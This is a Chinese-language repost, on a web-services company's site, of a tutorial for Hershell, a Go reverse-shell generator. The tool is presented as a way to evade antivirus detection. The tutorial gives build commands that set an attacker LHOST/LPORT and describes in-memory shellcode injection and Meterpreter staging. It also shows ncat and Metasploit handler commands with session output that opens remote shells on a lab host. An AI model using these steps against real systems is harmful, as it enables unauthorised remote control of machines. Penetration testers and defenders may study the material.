网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

网络安全工具团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 工具 > 网络安全工具 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

Hershell:跨平台反向Shell生成器,Go语言开发,基于TCP反向Shell,使用TLS确保数据通信的安全性

文章来源:重庆网络安全 发布时间:2020-02-23 15:12:04 围观次数:
分享到:

摘要:Hershell:跨平台反向Shell生成器,Go语言开发,基于TCP反向Shell,使用TLS确保数据通信的安全性,并提供证书公钥指纹绑定功能以防止通信数据被拦截。

  Hershell:跨平台反向Shell生成器,Go语言开发,基于TCP反向Shell,使用TLS确保数据通信的安全性,并提供证书公钥指纹绑定功能以防止通信数据被拦截。

支持系统


  当前版本的Hershell支持以下操作系统:


 Windows


 Linux


 macOS


 FreeBSD


开发目的


  尽管有时可以使用Meterpreter Payload,但防病毒产品很容易检测到此方法。因此,Hershell应运而生,它可以为我们提供基于TCP的反向Shell,并且可以支持各种不同的操作系统平台。

  工具使用相关组件


  Hershell是使用Go语言开发的。首先,我们需要根据Go官方手册在设备上完成Go环境的设置,然后设置$ GOPATH环境变量。


  接下来,运行以下命令以获取项目源代码:


  go get github.com/lesnuages/hershell

  构建有效载荷


  构建有效负载时,我们可以选择使用提供的Makefile完成构建。 此时,我们需要设置以下环境变量:


  GOOS:目标操作系统


  GOARCH:目标架构


  LHOST:攻击者IP或主机域名


  LPORT:侦听器端口


  当然,我们还在Makefile中提供一些变量值供参考:


  depends : 生成服务器证书(反向Shell需要使用到)


  Windows32:生成32位Windows可执行文件(PE 32位)


  Windows64:构建64位Windows可执行文件(PE 64位)


  linux32:构建32位Linux可执行文件(ELF 32位)


  linux64:构建64位Linux可执行文件(ELF 64位)


  macos32:构建32位macOS可执行文件(Mach-O)


  macos64:构建64位macOS可执行文件(Mach-O)

  对于上面列表中的目标平台,我们还需要设置两个环境变量LHOST和LPORT。


  使用反向Shell


  代码开始执行后,该工具将为我们提供一个远程Shell,这是一个自定义的交互式Shell,使我们可以通过Windows上的cmd.exe或Unix设备上的/ bin / sh执行系统命令。


  下表显示了Hershell支持的一些特定命令:


  run_shell:获取系统Shell


  inject <base64 shellcode>:将shellcode(Base64编码)注入相同的进程存储器并执行代码。


  meterpreter [tcp |  http |  https:IP:PORT:与多个处理器建立连接,并从Metasploit获取第二阶段反向TCP,HTTP或HTTPS计量表,然后在内存中执行Shellcode(此功能当前仅支持Windows平台)。


  exit : 退出程序


工具使用


  首先,我们需要使用以下命令生成有效证书:

$ make depends

openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem

Generating a 4096 bit RSA private key

....................................................................................++

.....++

writing new private key to 'server.key'

-----

cat server.key >> server.pem

  对于Windows平台:


  # Predifined 32 bit target

  $ make windows32 LHOST=192.168.0.12 LPORT=1234

  # Predifined 64 bit target

  $ make windows64 LHOST=192.168.0.12 LPORT=1234

  对于Linux平台:


  # Predifined 32 bit target

  $ make linux32 LHOST=192.168.0.12 LPORT=1234

  # Predifined 64 bit target

  $ make linux64 LHOST=192.168.0.12 LPORT=1234

  对于macOS平台:


  $ make macos LHOST = 192.168.0.12 LPORT = 1234


工具使用示例


  基本用途


  我们可以使用各种工具来处理传入的连接,例如:


  socat


  ncat


  openssl服务器模块


  Metasploit的各种handler (python/shell_reverse_tcp_ssl payload)

  以下是使用ncat的示例:


 $ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234

Ncat: Version 7.60 ( https://nmap.org/ncat )

Ncat: Listening on :::1234

Ncat: Listening on 0.0.0.0:1234

Ncat: Connection from 172.16.122.105.

Ncat: Connection from 172.16.122.105:47814.

[hershell]> whoami

desktop-3pvv31a\lab

Meterpreter场景


  注意:当前仅Windows平台支持此功能。


  该工具的Meterpreter使用情况当前仅支持以下负载:


  windows/meterpreter/reverse_tcp


 windows/x64/meterpreter/reverse_tcp


 windows/meterpreter/reverse_http


 windows/x64/meterpreter/reverse_http


 windows/meterpreter/reverse_https


 windows/x64/meterpreter/reverse_https

  当您选择使用某个有效负载时,请不要忘记选择正确的传输端口(tcp,http或https)。


  MeterpreterHandler使用以下示例:

[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler

[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https

payload => windows/x64/meterpreter/reverse_https

[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105

lhost => 172.16.122.105

[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443

lport => 8443

[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem

HandlerSSLCert => ./server.pem

[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0.


[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443

[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

接下来,在hershell中,使用meterpreter命令:


  [hershell]> meterpreter https 172.16.122.105:8443

  此时,我们将能够在msfconsole中获得一个新的Meterpreter会话:

[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...

[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100


[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions


Active sessions

===============


  Id  Name  Type                     Information                            Connection

  --  ----  ----                     -----------                            ----------

  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)


[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1

[*] Starting interaction with 1...


meterpreter > getuid

Server username: DESKTOP-3PVV31A\lab


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:Hershell 反向Shell生成器 Go语言开发 TCP反向Shell TLS 重庆网络安全

上一篇:Lsassy:Python库,批量从目标主机远程提取用户凭据。Python库使用impacket项目从lsass导出数据中远程读取所需的字节
下一篇:Dufflebag:搜索公共EBS弹性块存储服务中敏感信息,弹性块存储服务的安全检测工具

热门资讯

鼠标向下滚动